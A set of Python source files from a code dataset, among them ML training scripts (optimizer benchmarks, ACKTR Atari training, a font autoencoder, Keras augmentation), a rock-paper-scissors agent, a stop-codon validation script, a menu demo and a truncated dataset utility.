bmsvmsgdrmsprop.advanced_test(x_testing=x_testing, y_testing=y_testing, w=w_final_rmsprop)\n overall_accuracy_adam += bmsvmsgdadam.advanced_test(x_testing=x_testing, y_testing=y_testing,\n w=w_final_adam)\n\n overall_accuracy_sgd = overall_accuracy_sgd/ file_size\n overall_accuracy_mom = overall_accuracy_mom / file_size\n overall_accuracy_ada = overall_accuracy_ada / file_size\n overall_accuracy_rmsprop = overall_accuracy_rmsprop / file_size\n overall_accuracy_adam = overall_accuracy_adam / file_size\n\n ## stats\n bmsvmsgd.advanced_stats(effective_epochs=epochs_eff_sgd, accuracy=overall_accuracy_sgd, training_time=overall_training_time_sgd, initial_cost=initial_cost_sgd, final_cost=final_cost_sgd)\n bmsvmsgdmomentum.advanced_stats(effective_epochs=epochs_eff_mom, accuracy=overall_accuracy_mom,\n training_time=overall_training_time_mom, initial_cost=initial_cost_mom,\n final_cost=final_cost_mom)\n bmsvmsgdada.advanced_stats(effective_epochs=epochs_eff_ada, accuracy=overall_accuracy_ada,\n training_time=overall_training_time_ada, initial_cost=initial_cost_ada,\n final_cost=final_cost_ada)\n\n bmsvmsgdrmsprop.advanced_stats(effective_epochs=epochs_eff_rmsprop, accuracy=overall_accuracy_rmsprop,\n training_time=overall_training_time_rmsprop, initial_cost=initial_cost_rmsprop,\n final_cost=final_cost_rmsprop)\n bmsvmsgdadam.advanced_stats(effective_epochs=epochs_eff_adam, accuracy=overall_accuracy_adam,\n training_time=overall_training_time_adam, initial_cost=initial_cost_adam,\n final_cost=final_cost_adam)\n\n\n\n\n\n","sub_path":"experiment/BenchmarkSGDHeavy.py","file_name":"BenchmarkSGDHeavy.py","file_ext":"py","file_size_in_byte":13832,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"154545427","text":"#!/usr/bin/env python3\n\nfrom functools import partial\n\nfrom baselines import logger\nfrom acktr_disc import learn\nfrom cmd_util import make_atari_env, atari_arg_parser\nfrom policy import CnnPolicy\n\nfrom vec_frame_stack import VecFrameStack\n\nNUM_ENV = 1\nNUM_CPU = 1\n\ndef train(env_id, num_timesteps, seed, num_cpu):\n env = VecFrameStack(make_atari_env(env_id, NUM_CPU, seed), NUM_ENV)\n policy_fn = partial(CnnPolicy)#, one_dim_bias=True)\n learn(policy_fn,\n env,\n seed,\n total_timesteps=int(num_timesteps * 1.1),\n nprocs=num_cpu,\n log_interval=20,\n save_interval=1000\n )\n env.close()\n\ndef main():\n args = atari_arg_parser().parse_args()\n logger.configure()\n train(args.env, num_timesteps=args.num_timesteps, seed=args.seed, num_cpu=NUM_CPU)\n\nif __name__ == '__main__':\n main()\n","sub_path":"sonic/run_atari.py","file_name":"run_atari.py","file_ext":"py","file_size_in_byte":831,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"615739470","text":"import sys\nimport json\nimport random\nfrom collections import Counter\n\nTRAIN_ROUNDS = 200\n\npredicted_responses = {}\n\nenemy_actions = []\nmy_actions = []\nstrategies = []\n\ndef compute_freq(my_actions, enemy_actions):\n global predicted_responses\n data = {}\n for i, my_action in enumerate(my_actions):\n enemy_action = enemy_actions[i]\n try:\n enemy_next = enemy_actions[i+1]\n except:\n continue\n try:\n data[(my_action, enemy_action)].append(enemy_next)\n except:\n data[(my_action, enemy_action)] = [enemy_next, ]\n for key, val in data.items():\n counts = sorted(Counter(val).items(), key=lambda el: el[1])\n most_common = counts[-1][0]\n predicted_responses[key] = most_common\n\ndef track_strategy(name):\n global strategies\n strategies.append(name)\n\ndef reactive_agent(predicted_responses, last):\n track_strategy('reactive')\n try:\n action = predicted_responses[last]\n except:\n action = random.choice((0, 1, 2))\n return action\n\ndef random_agent():\n track_strategy('random')\n action = random.choice((0, 1, 2))\n return action\n\ndef agent(observation, configuration):\n global enemy_actions\n global my_actions\n global predicted_responses\n if observation.step > 0:\n enemy_actions.append(observation.lastOpponentAction)\n if observation.step == TRAIN_ROUNDS:\n compute_freq(my_actions, enemy_actions)\n if observation.step <= TRAIN_ROUNDS:\n action = random_agent()\n elif observation.step > TRAIN_ROUNDS:\n action = reactive_agent(predicted_responses, (my_actions[-1], enemy_actions[-1]))\n else:\n # wont happen\n pass\n my_actions.append(action)\n return action\n","sub_path":"rock_paper_scissors/agent6_traininit.py","file_name":"agent6_traininit.py","file_ext":"py","file_size_in_byte":1758,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"644069360","text":"import numpy as np\nfrom tensorflow.keras.preprocessing.image import ImageDataGenerator\n\ntrain_datagen = ImageDataGenerator(\n rescale=1./255,\n horizontal_flip=True, # 수평 뒤집기 \n vertical_flip=True, # 수직 뒤집기 \n width_shift_range=0.1, # 수평 이동\n height_shift_range=0.1, # 수직 이동\n rotation_range=5, # 회전 \n zoom_range=1.2, # 확대\n shear_range=0.7, # 층 밀리기 강도?\n fill_mode='nearest' # 빈자리는 근처에 있는 것으로(padding='same'과 비슷)\n)\n\n\n'''\n- rotation_range: 이미지 회전 범위 (degrees)\n- width_shift, height_shift: 그림을 수평 또는 수직으로 랜덤하게 평행 이동시키는 범위 \n (원본 가로, 세로 길이에 대한 비율 값)\n- rescale: 원본 영상은 0-255의 RGB 계수로 구성되는데, 이 같은 입력값은 \n 모델을 효과적으로 학습시키기에 너무 높습니다 (통상적인 learning rate를 사용할 경우). \n 그래서 이를 1/255로 스케일링하여 0-1 범위로 변환시켜줍니다. \n 이는 다른 전처리 과정에 앞서 가장 먼저 적용됩니다.\n- shear_range: 임의 전단 변환 (shearing transformation) 범위\n- zoom_range: 임의 확대/축소 범위\n- horizontal_flip`: True로 설정할 경우, 50% 확률로 이미지를 수평으로 뒤집습니다. \n 원본 이미지에 수평 비대칭성이 없을 때 효과적입니다. 즉, 뒤집어도 자연스러울 때 사용하면 좋습니다.\n- fill_mode 이미지를 회전, 이동하거나 축소할 때 생기는 공간을 채우는 방식\n'''\n\ntest_datagen = ImageDataGenerator(rescale=1./255)\n\n\n# flow 또는 flow_from_directory\n\n# train_generator\nxy_train = train_datagen.flow_from_directory(\n '../data/image/brain/train',\n target_size=(150,150),\n batch_size=5,\n class_mode='binary',\n save_to_dir='../data/image/brain_generator/train/'\n)\n# Found 160 images belonging to 2 classes.\n\n\n\n\n# test_generator\nxy_test = test_datagen.flow_from_directory(\n '../data/image/brain/test',\n target_size=(150,150), # 리사이징 가능\n batch_size=5,\n class_mode='binary'\n)\n# Found 120 images belonging to 2 classes.\n\n\nprint(xy_train[1][0])\n\n","sub_path":"keras2/keras66_5_save_to_dir.py","file_name":"keras66_5_save_to_dir.py","file_ext":"py","file_size_in_byte":2248,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"517690822","text":"# coding: utf-8\nimport tensorflow as tf\nimport numpy as np\nimport scipy.misc as misc\nimport os\nimport time\nfrom collections import namedtuple\n\nfrom models.autoencoder.ops import conv2d, deconv2d, lrelu, fc, batch_norm\nfrom utils.dataset import TrainDataProvider, InjectDataProvider\nfrom utils.utils import merge, save_concat_images, save_image, scale_back\n\nLossHandle = namedtuple(\"LossHandle\", [\"loss\"])\nInputHandle = namedtuple(\"InputHandle\", [\"real_data\"])\nEvalHandle = namedtuple(\"EvalHandle\", [\"network\", \"target\", \"source\", \"code\"])\nSummaryHandle = namedtuple(\"SummaryHandle\", [\"g_merged\"])\n\n\nclass Font2FontAutoEncoder(object):\n def __init__(self, experiment_dir=None, experiment_id=0, batch_size=16, input_width=256, output_width=256,\n network_dim=64, Loss_penalty=100.0, input_filters=1, output_filters=1):\n self.experiment_dir = experiment_dir\n self.experiment_id = experiment_id\n self.batch_size = batch_size\n self.input_width = input_width\n self.output_width = output_width\n self.network_dim = network_dim\n self.Loss_penalty = Loss_penalty\n self.input_filters = input_filters\n self.output_filters = output_filters\n\n # init all the directories\n self.sess = None\n\n # experiment_dir is needed for training\n if experiment_dir:\n self.data_dir = os.path.join(self.experiment_dir, \"data\")\n self.checkpoint_dir = os.path.join(self.experiment_dir, \"checkpoint\")\n self.sample_dir = os.path.join(self.experiment_dir, \"sample\")\n self.log_dir = os.path.join(self.experiment_dir, \"logs\")\n\n if not os.path.exists(self.checkpoint_dir):\n os.makedirs(self.checkpoint_dir)\n print(\"create checkpoint directory\")\n if not os.path.exists(self.sample_dir):\n os.makedirs(self.sample_dir)\n print(\"create sample directory\")\n if not os.path.exists(self.log_dir):\n os.makedirs(self.log_dir)\n print(\"create log directory\")\n\n def encoder(self, images, is_training, keep_prob=1.0, reuse=False):\n \"\"\"\n Encoder part\n :param images: (batch_size, 256, 256, 1)\n :param is_training:\n :param keep_prob:\n :param reuse:\n :return:\n \"\"\"\n # Encoder conv layers\n # (256, 256) -> (128, 128)\n e1 = conv2d(images, self.network_dim, scope=\"g_e1_conv\")\n e1 = tf.nn.relu(e1)\n e1 = tf.nn.dropout(e1, keep_prob=keep_prob)\n\n # (128, 128) -> (64, 64)\n e2 = conv2d(e1, self.network_dim * 2, scope=\"g_e2_conv\")\n e2 = batch_norm(e2, is_training, scope=\"g_e2_bn\")\n e2 = tf.nn.relu(e2)\n e2 = tf.nn.dropout(e2, keep_prob=keep_prob)\n\n # (64, 64) -> (32, 32)\n e3 = conv2d(e2, self.network_dim * 4, scope=\"g_e3_conv\")\n e3 = batch_norm(e3, is_training, scope=\"g_e3_bn\")\n e3 = tf.nn.relu(e3)\n e3 = tf.nn.dropout(e3, keep_prob=keep_prob)\n\n # (32, 32) -> (16, 16)\n e4 = conv2d(e3, self.network_dim * 8, scope=\"g_e4_conv\")\n e4 = batch_norm(e4, is_training, scope=\"g_e4_bn\")\n e4 = tf.nn.relu(e4)\n e4 = tf.nn.dropout(e4, keep_prob=keep_prob)\n\n # (16, 16) -> (8, 8)\n e5 = conv2d(e4, self.network_dim * 8, scope=\"g_e5_conv\")\n e5 = batch_norm(e5, is_training, scope=\"g_e5_bn\")\n e5 = tf.nn.relu(e5)\n e5 = tf.nn.dropout(e5, keep_prob=keep_prob)\n\n # flatten (8, 8, 64 * 8)-> (8 * 8 * 64 * 8)\n flat1 = tf.layers.flatten(e5)\n\n # fully connect 1: (8 * 8 * 64 * 8) -> 10000\n fc1 = fc(flat1, 10000, scope=\"fc1\")\n\n # fully connect 2: 10000 -> 100\n code = fc(fc1, 100, scope=\"code\")\n\n return code\n\n def decoder(self, code, is_training, keep_prob=1.0, reuse=False):\n \"\"\"\n Decoder part.\n :param code: [batch_size, 100]\n :param is_training:\n :param keep_prob:\n :param reuse:\n :return:\n \"\"\"\n # fully connect 3: 100 -> 10000\n fc2 = fc(code, 10000, scope=\"fc2\")\n\n # fully connnect4: 10000 -> (8 * 8 * 64 * 8)\n flat2 = fc(fc2, 8 * 8 * 64 * 8)\n # reshape tensor : [batch_size, 8 * 8 * 64 * 8] -> [batch_size, 8, 8, 64 * 8]\n flat2 = tf.reshape(flat2, [-1, 8, 8, 64 * 8])\n\n # Decoder\n # (8, 8) -> (16, 16)\n d1 = tf.nn.relu(flat2)\n d1 = deconv2d(d1, [self.batch_size, 16, 16, self.network_dim * 8], scope=\"g_d1_deconv\")\n d1 = batch_norm(d1, is_training, scope=\"g_d1_bn\")\n d1 = tf.nn.dropout(d1, keep_prob=keep_prob)\n\n # (16, 16) -> (32, 32)\n d2 = tf.nn.relu(d1)\n d2 = deconv2d(d2, [self.batch_size, 32, 32, self.network_dim * 8], scope=\"g_d2_deconv\")\n d2 = batch_norm(d2, is_training, scope=\"g_d2_bn\")\n d2 = tf.nn.dropout(d2, keep_prob=keep_prob)\n\n # (32, 32) -> (64, 64)\n d3 = tf.nn.relu(d2)\n d3 = deconv2d(d3, [self.batch_size, 64, 64, self.network_dim * 4], scope=\"g_d3_deconv\")\n d3 = batch_norm(d3, is_training, scope=\"g_d3_bn\")\n d3 = tf.nn.dropout(d3, keep_prob=keep_prob)\n\n # (64, 64) -> (128, 128)\n d4 = tf.nn.relu(d3)\n d4 = deconv2d(d4, [self.batch_size, 128, 128, self.network_dim * 2], scope=\"g_d4_deconv\")\n d4 = batch_norm(d4, is_training, scope=\"g_d4_bn\")\n d4 = tf.nn.dropout(d4, keep_prob=keep_prob)\n\n # (128, 128) -> (256, 256)\n d5 = tf.nn.relu(d4)\n d5 = deconv2d(d5, [self.batch_size, 256, 256, 1], scope=\"g_d5_deconv\")\n # no batch norm here\n d5 = tf.nn.dropout(d5, keep_prob=keep_prob)\n return d5\n\n def network(self, images, is_training, keep_prob=1.0, reuse=False):\n \"\"\"\n Network architecture.\n :param images:\n :param is_training:\n :param reuse:\n :return:\n \"\"\"\n # encoder part\n code = self.encoder(images=images, is_training=is_training, keep_prob=keep_prob, reuse=reuse)\n\n # decoder part\n decoder_output = self.decoder(code, is_training=is_training, keep_prob=keep_prob, reuse=reuse)\n\n # output\n output = tf.nn.tanh(decoder_output)\n\n return output, decoder_output, code\n\n def build_model(self, keep_prob=1.0, is_training=True):\n \"\"\"\n Build model of autoencoder.\n :param is_training:\n :return:\n \"\"\"\n real_data = tf.placeholder(tf.float32, [self.batch_size, self.input_width, self.input_width,\n self.input_filters + self.output_filters], name=\"real_A_and_B_image\")\n # target images\n real_B = real_data[:, :, :, :self.input_filters]\n\n # source images\n real_A = real_data[:, :, :, :self.input_filters: self.input_filters + self.output_filters]\n\n # fake B\n fake_B, fake_B_logits, code = self.network(real_A, keep_prob=keep_prob, is_training=is_training)\n\n # L1 loss\n l1_loss = tf.reduce_mean(tf.abs(tf.subtract(fake_B, real_B)))\n\n # l2 loss\n l2_loss = tf.reduce_mean(tf.square(tf.subtract(fake_B, real_B)))\n\n # reconstruct loss\n ce_loss = tf.reduce_mean(tf.nn.sigmoid_cross_entropy_with_logits(labels=real_B, logits=fake_B_logits))\n\n # loss\n alpha = 0.6\n loss = alpha * l2_loss + (1 - alpha) * l1_loss\n\n # summaries\n loss_summary = tf.summary.scalar(\"loss\", loss)\n g_merged_summary = tf.summary.merge([loss_summary])\n\n # expose useful nodes in the graph as handles globally\n input_handle = InputHandle(real_data=real_data)\n loss_handle = LossHandle(loss=loss)\n eval_handle = EvalHandle(network=fake_B, target=real_B, source=real_A, code=code)\n summary_handle = SummaryHandle(g_merged=g_merged_summary)\n\n # those operations will be shared make them visiual globally\n setattr(self, \"input_handle\", input_handle)\n setattr(self, \"loss_handle\", loss_handle)\n setattr(self, \"eval_handle\", eval_handle)\n setattr(self, \"summary_handle\", summary_handle)\n\n def register_session(self, sess):\n \"\"\"\n Register tf session.\n :param sess:\n :return:\n \"\"\"\n self.sess = sess\n\n def retrieve_trainable_vars(self, freeze_encoder=False):\n \"\"\"\n Retrieve trainale vars.\n :param freeze_encoder:\n :return:\n \"\"\"\n t_vars = tf.trainable_variables()\n\n g_vars = [var for var in t_vars if \"g_\" in var.name]\n\n if freeze_encoder:\n # exclude encoder weights\n print(\"freeze encoder weights\")\n g_vars = [var for var in g_vars if not (\"g_e\") in var.name]\n\n return g_vars\n\n def retrieve_generator_vars(self):\n \"\"\"\n\n :return:\n \"\"\"\n all_vars = tf.global_variables()\n generator_vars = [var for var in all_vars if \"g_\" in var.name]\n return generator_vars\n\n def retrieve_handles(self):\n \"\"\"\n\n :return:\n \"\"\"\n input_handle = getattr(self, \"input_handle\")\n loss_handle = getattr(self, \"loss_handle\")\n eval_handle = getattr(self, \"eval_handle\")\n summary_handle = getattr(self, \"summary_handle\")\n return input_handle, loss_handle, eval_handle, summary_handle\n\n def get_model_id_and_dir(self):\n \"\"\"\n\n :return:\n \"\"\"\n model_id = \"experiment_%d_batch_%d\" % (self.experiment_id, self.batch_size)\n model_dir = os.path.join(self.checkpoint_dir, model_id)\n return model_id, model_dir\n\n def checkpoint(self, saver, step):\n \"\"\"\n\n :param saver:\n :param step:\n :return:\n \"\"\"\n model_name = \"autoencoder.model\"\n model_id, model_dir = self.get_model_id_and_dir()\n if not os.path.exists(model_dir):\n os.makedirs(model_dir)\n\n saver.save(self.sess, os.path.join(model_dir, model_name), global_step=step)\n\n def restore_model(self, saver, model_dir):\n \"\"\"\n\n :param saver:\n :param model_dir:\n :return:\n \"\"\"\n ckpt = tf.train.get_checkpoint_state(model_dir)\n if ckpt:\n saver.restore(self.sess, ckpt.model_checkpoint_path)\n print(\"restored model %s\" % model_dir)\n else:\n print(\"fail to restore model %s\" % model_dir)\n\n def generate_fake_samples(self, input_images):\n \"\"\"\n\n :param input_images:\n :return:\n \"\"\"\n input_handle, loss_handle, eval_handle, summary_handle = self.retrieve_handles()\n\n fake_images, real_images, loss, code = self.sess.run([eval_handle.network, eval_handle.target,\n loss_handle.loss, eval_handle.code],\n feed_dict={\n input_handle.real_data: input_images\n })\n return fake_images, real_images, loss, code\n\n def validate_model(self, images, epoch, step, label=\"val\"):\n \"\"\"\n Validate this auto-encoder model.\n :param images:\n :param epoch:\n :param step:\n :return:\n \"\"\"\n fake_images, real_images, loss, code = self.generate_fake_samples(images)\n print(\" %s sample: loss: %.5f \" % (label, loss))\n\n merged_fake_images = merge(scale_back(fake_images), [self.batch_size, 1])\n merged_real_images = merge(scale_back(real_images), [self.batch_size, 1])\n merged_pair = np.concatenate([merged_fake_images, merged_real_images], axis=1)\n\n model_id, _ = self.get_model_id_and_dir()\n model_sample_dir = os.path.join(self.sample_dir, model_id)\n if not os.path.exists(model_sample_dir):\n os.makedirs(model_sample_dir)\n\n sample_img_path = os.path.join(model_sample_dir, \"%s_sample_%04d_%06d.png\" % (label, epoch, step))\n misc.imsave(sample_img_path, merged_pair)\n\n def infer(self, source_obj, model_dir, save_dir):\n \"\"\"\n Inference this auto-encoder model.\n :param source_obj:\n :param model_dir:\n :param save_dir:\n :return:\n \"\"\"\n source_provider = InjectDataProvider(source_obj)\n source_iter = source_provider.get_iter(self.batch_size)\n\n tf.global_variables_initializer().run()\n\n saver = tf.train.Saver(max_to_keep=100)\n _, model_dir = self.get_model_id_and_dir()\n self.restore_model(saver, model_dir)\n\n def save_imgs(imgs, count):\n p = os.path.join(save_dir, \"inferred_%04d.png\" % count)\n save_concat_images(imgs, img_path=p)\n print(\"generated images saved at %s\" % p)\n\n count = 0\n batch_buffer = list()\n code_list = None\n for source_imgs in source_iter:\n fake_imgs, real_imgs, loss, code = self.generate_fake_samples(source_imgs)\n if code_list is None:\n code_list = code.copy()\n else:\n code_list = np.concatenate([code_list, code])\n\n merged_fake_images = merge(fake_imgs, [self.batch_size, 1])\n batch_buffer.append(merged_fake_images)\n if len(batch_buffer) == 10:\n save_imgs(batch_buffer, count)\n batch_buffer = list()\n count += 1\n if batch_buffer:\n # last batch\n save_imgs(batch_buffer, count)\n\n if code_list is not None:\n code_list.dump(os.path.join(save_dir, \"code.dat\"))\n print(\"code.dat dump successed!\")\n\n def train(self, lr=0.0002, epoch=100, schedule=10, resume=True, freeze_encoder=False,\n sample_steps=1500, checkpoint_steps=15000):\n \"\"\"\n Training this auto-encoder model.\n :param lr:\n :param epoch:\n :param schedule:\n :param resume:\n :param freeze_encoder:\n :param sample_steps:\n :param checkpoint_steps:\n :return:\n \"\"\"\n g_vars = self.retrieve_trainable_vars(freeze_encoder=freeze_encoder)\n input_handle, loss_handle, _, summary_handle = self.retrieve_handles()\n\n if not self.sess:\n raise Exception(\"no session registered!\")\n\n tf.set_random_seed(100)\n\n print(\"Prepare training dataset!\")\n data_provider = TrainDataProvider(self.data_dir)\n total_batches = data_provider.compute_total_batch_num(self.batch_size)\n val_batch_iter = data_provider.get_val(size=self.batch_size)\n train_sample = data_provider.get_train_sample(size=self.batch_size)\n\n learning_rate = tf.placeholder(tf.float32, name=\"learning_rate\")\n\n g_optimizer = tf.train.AdamOptimizer(learning_rate, beta1=0.5).minimize(loss_handle.loss, var_list=g_vars)\n\n saver = tf.train.Saver(max_to_keep=100)\n summary_writer = tf.summary.FileWriter(self.log_dir, self.sess.graph)\n\n if resume:\n _, model_dir = self.get_model_id_and_dir()\n self.restore_model(saver, model_dir)\n\n current_lr = lr\n counter = 0\n start_time = time.time()\n\n tf.global_variables_initializer().run()\n real_data = input_handle.real_data\n\n for ei in range(epoch):\n train_batch_iter = data_provider.get_train_iter(self.batch_size)\n\n # update learning rate for lr\n # if (ei+1) % schedule == 0:\n # update_lr = current_lr / 2.\n # update_lr = max(update_lr, 0.00002)\n # print(\"decay learing rate from %.6f to %.7f\" % (current_lr, update_lr))\n # current_lr = update_lr\n\n for bid, batch in enumerate(train_batch_iter):\n counter += 1\n batch_images = batch\n\n _, loss, g_summary = self.sess.run([g_optimizer, loss_handle.loss, summary_handle.g_merged],\n feed_dict={\n real_data: batch_images,\n learning_rate: current_lr\n })\n passed_time = time.time() - start_time\n\n # log_format = \"Epoch: [%2d], [%4d/%4d] time: %4.4f, loss: %.5f\"\n # print(log_format % (ei, bid, total_batches, passed_time, loss))\n summary_writer.add_summary(g_summary, counter)\n\n # validation in each epoch used the train samples\n # self.validate_model(val_batch_iter, ei, counter)\n self.validate_model(val_batch_iter, ei, counter)\n self.validate_model(train_sample, ei, counter, label=\"train\")\n\n # save checkpoint in each 50 epoch\n # if (ei + 1) % 50 == 0:\n # self.checkpoint(saver, counter)\n\n # save the last checkpoint\n # print(\"Checkpoint: last checkpoint step %d\" % counter)\n # self.checkpoint(saver, counter)\n\n","sub_path":"models/autoencoder/model_ae_generate.py","file_name":"model_ae_generate.py","file_ext":"py","file_size_in_byte":17020,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"105440754","text":"#!/usr/bin/python3\n\nimport pandas as pd\nimport numpy as np\nimport requests, sys\nfrom itertools import combinations\n#import seaborn as sns\nfrom scipy import stats\nimport pickle\nfrom collections import Counter\nimport copy\nfrom scipy.stats import sem, t\nfrom scipy import mean\nimport re\nimport os\nimport gzip\nimport time\nfrom Bio import SeqIO\nfrom Bio.Seq import Seq\nfrom Bio import AlignIO\nimport argparse\nimport glob\n\n\n\n\"\"\"\nHere we create the function for checking the input parameters and saving\nthem in different variables, error if the usage is not good\n\"\"\"\n\nif len(sys.argv) == 5:\n cds_alignment = sys.argv[1]\n positions_file = sys.argv[2]\n gene_name = sys.argv[3]\n out_file = sys.argv[4]\n\nelse:\n sys.exit(\"The usage shoud be: cds_alignment out_file\")\n\n\n\n\"\"\"\nFUNCTIONS\n\"\"\"\n\nstop_codons = [\"TGA\", \"TAG\", \"TAA\"]\nstop_codon_info = pd.read_csv(positions_file, sep='\\t', low_memory=False,\nnames=[\"Index\", \"Gene\", \"Species\", \"Position\", \"Perc_Reseq\"])#panda creation\n\n\n#REFS_DICT AND RESEQUENCED_DICT\nrefs_dict = {}\nrefs_pos = {}\nalignment_obj = AlignIO.read(cds_alignment, \"clustal\")\nfor record in alignment_obj:\n curr = str(record.id)\n seq = str(record.seq).upper()\n refs_dict[curr] = seq\n positions = [m.start(0) for m in re.finditer(\"(A|G|C|T)\", str(record.seq), flags=re.IGNORECASE)]\n refs_pos[curr] = positions\n\n\n#first_pos = re.search(\"(A|G|C|T)\", str(human_aligned_cds), flags=re.IGNORECASE).start()\n#last_pos = re.search(\"(A|G|C|T)\", str(human_aligned_cds)[-1], flags=re.IGNORECASE).end()\n\n\n\n\n\"\"\"\nget codon information\n\"\"\"\n\ndef get_codon_info(sequence_aligned, index_pos, positions):\n codon_seq = sequence_aligned[positions[index_pos]] + sequence_aligned[positions[index_pos+1]] + \\\n sequence_aligned[positions[index_pos+2]]\n return codon_seq\n\n\n\"\"\"\nremove empty keys from positions python\n\"\"\"\n\ndef remove_empty_keys(d):\n for k in d.keys():\n if not d[k]:\n del d[k]\n\n\n\n\n\n\"\"\"\nSelect current species from all species dataframes\n\"\"\"\n\ndef select_current_value(current_dict, name):\n sel_value = [current_dict[tag] for tag in current_dict if name.startswith(str(tag))][0]\n return sel_value\n\n\n#MAIN\n\n#Create dict with positions\ngenes_dict = {}\nfor i, row in stop_codon_info.iterrows():\n Species = row[\"Species\"]\n if Species in genes_dict:\n if row['Position'] in genes_dict[Species]:\n genes_dict[Species][row['Position']].append(row['Perc_Reseq'])\n else:\n genes_dict[Species][row['Position']] = []\n genes_dict[Species][row['Position']].append(row['Perc_Reseq'])\n else:\n genes_dict[Species] = {}\n genes_dict[Species][row['Position']] = []\n genes_dict[Species][row['Position']].append(row['Perc_Reseq'])\n\n\n\n#Loop through cases taking alignment of references into consideration\n\nSpc_frame = pd.DataFrame(columns=(\"Gene\", \"Species\", \"Position\", \"Perc_Reseq\",\n\"Perc_Refs\", \"Pos_rel\"))\n\nfor spc in genes_dict:\n for pos in genes_dict[spc]:\n curr_positions = refs_pos[spc]\n curr_sequence = refs_dict[spc]\n pos_rel = pos/len(curr_positions)\n curr_codon = get_codon_info(curr_sequence, pos-1, curr_positions)\n alignment_position = curr_positions[pos-1]\n ref_codons_dict = {}\n for ref in refs_dict:\n if ref != spc:\n ref_codon = get_codon_info(refs_dict[ref], pos-1, curr_positions)\n ref_codons_dict[ref] = ref_codon\n count_validated = 0\n for ref_spc in ref_codons_dict:\n if ref_codons_dict[ref_spc] == curr_codon:\n count_validated += 1\n perc_refs = count_validated/(len(refs_dict)-1)\n values_to_add = {'Gene': gene_name, 'Species': spc,\n 'Position': pos, \"Perc_Reseq\": round(genes_dict[spc][pos][0],2),\n \"Perc_Refs\": round(perc_refs, 2), \"Pos_rel\": round(pos_rel, 2)}\n row_to_add = pd.Series(values_to_add)\n Spc_frame = Spc_frame.append(row_to_add, ignore_index = True)\n\n\n\n\n\"\"\"\nstop_codon_pos_ref = {}\nfor reseq in resequenced_pos:\n positions = resequenced_pos[reseq]\n for i in range(0, len(positions), 3):\n curr_seq = resequenced_dict[reseq]\n curr_seq = curr_seq.upper()\n if i < len(positions)-3:\n curr_codon = get_codon_info(curr_seq, i, positions)\n if curr_codon in [\"TGA\", \"TAG\", \"TAA\"]:\n reseq_codons = []\n reseq_codons_dict = {}\n for record in alignment_obj:\n seq_species = str(record.seq)\n seq_species = seq_species.upper()\n if record.id in refs_dict:\n ref_codon = get_codon_info(seq_species, i, positions)\n ref_positions = refs_pos[record.id]\n else:\n reseq_codon = get_codon_info(seq_species, i, positions)\n reseq_codons.append(reseq_codon)\n reseq_codons_dict[record.id] = reseq_codon\n #print(miss)\n if any(cod in stop_codons for cod in reseq_codons) and not i == len(positions)-3 \\\n and ref_codon not in stop_codons and \"-\" not in ref_codon:\n index_alignment = positions[i]\n index = int(ref_positions.index(index_alignment))+1\n stop_codon_pos_ref[index] = 0\n for spc in reseq_codons_dict:\n if reseq_codons_dict[spc] in [\"TGA\", \"TAG\", \"TAA\"]:\n stop_codon_pos_ref[index] += 1\n stop_codon_pos_ref[index] = stop_codon_pos_ref[index]/(len(reseq_codons_dict))\n\"\"\"\n\n\nif \"Homo_sapiens\" in refs_dict:\n Spc_frame.to_csv(out_file, sep=\"\\t\")\n","sub_path":"Quality_discern_prem_stop_codons/INDELs/Validate_Ref_Stops.py","file_name":"Validate_Ref_Stops.py","file_ext":"py","file_size_in_byte":5721,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"42792173","text":"#!/usr/bin/python\n\n\"\"\" This script tests out the minimalist menu lib. \"\"\"\n\n# import minmen # New name!\nfrom minmen import MenuEntry, MenuPage\n\ntitle = MenuPage(\"Please pick your posion.\")\n\ndef cyanide_cb(*args):\n\tprint(\"Cyanide, aaargh!\")\n\ndef marriage_cb(*args):\n\tprint(\"Marriage, aargh!\")\n\ndef quit_cb(*args):\n\timport sys\n\tsys.exit(0)\n\nm_cyan = MenuEntry(\"Cyanide\", cyanide_cb)\nm_marr = MenuEntry(\"Marriage\", marriage_cb)\nm_quit = MenuEntry(\"Quit\", quit_cb, None, \"q\")\ntitle.add_entry(m_cyan)\ntitle.add_entry(m_marr)\ntitle.add_entry(m_quit)\n\ntitle.loop()","sub_path":"menu_test.py","file_name":"menu_test.py","file_ext":"py","file_size_in_byte":556,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"612766921","text":"import codecs, re, random\nfrom collections import Counter\nimport numpy as np\n\n\n# indexes sentences by vocab frequency list\n# reserves 0 for UNKs\n# todo: probably shoulda used sklearn.####vectorizer\n\n# USAGE\n# first get lists like this:\n# sents, classes = dataset.get_lists(sents_filename, classes_filename)\n# then run train-test split like this:\n# train_X, train_y, test_X, test_y, test_set, class_set = \\\n# dataset.get_test_train(sents, classes, trainsize=0.8, max_vocab=50000):\n\n# function to get lists from data\n# takes corpus as filename (headlines, articles on alternate lines)\n# returns lists of sentence token lists, classes\ndef get_lists(file_corpus, testing=0):\n if testing == 1:\n print('starting dataset.get_lists()...')\n f_corpus = codecs.open(file_corpus, 'rb', encoding='utf8')\n sents = []\n heads = []\n counter = 0\n\n for line in f_corpus:\n if counter % 2 == 0:\n heads.append(line.strip('\\n').split(' '))\n else:\n sents.append(line.strip('\\n').split(' '))\n counter += 1\n return(sents, heads)\n\n\ndef get_texts(file_corpus, testing=0):\n if testing == 1:\n print('starting dataset.get_lists()...')\n f_corpus = codecs.open(file_corpus, 'rb', encoding='utf8')\n sents = []\n heads = []\n counter = 0\n\n for line in f_corpus:\n if counter % 2 == 0:\n heads.append(line.strip('\\n'))\n else:\n sents.append(line.strip('\\n'))\n counter += 1\n return(sents, heads)\n\n# function to get vocab, maxvocab\n# takes list : sents\ndef get_vocab(sents, heads, testing=0):\n if testing == 1:\n print('starting dataset.get_vocab()...')\n # get vocab list\n vocab = []\n for sent in sents:\n for word in sent:\n vocab.append(word)\n for sent in heads:\n for word in sent:\n vocab.append(word)\n\n counts = Counter(vocab) # get counts of each word\n vocab_set = list(set(vocab)) # get unique vocab list\n sorted_vocab = 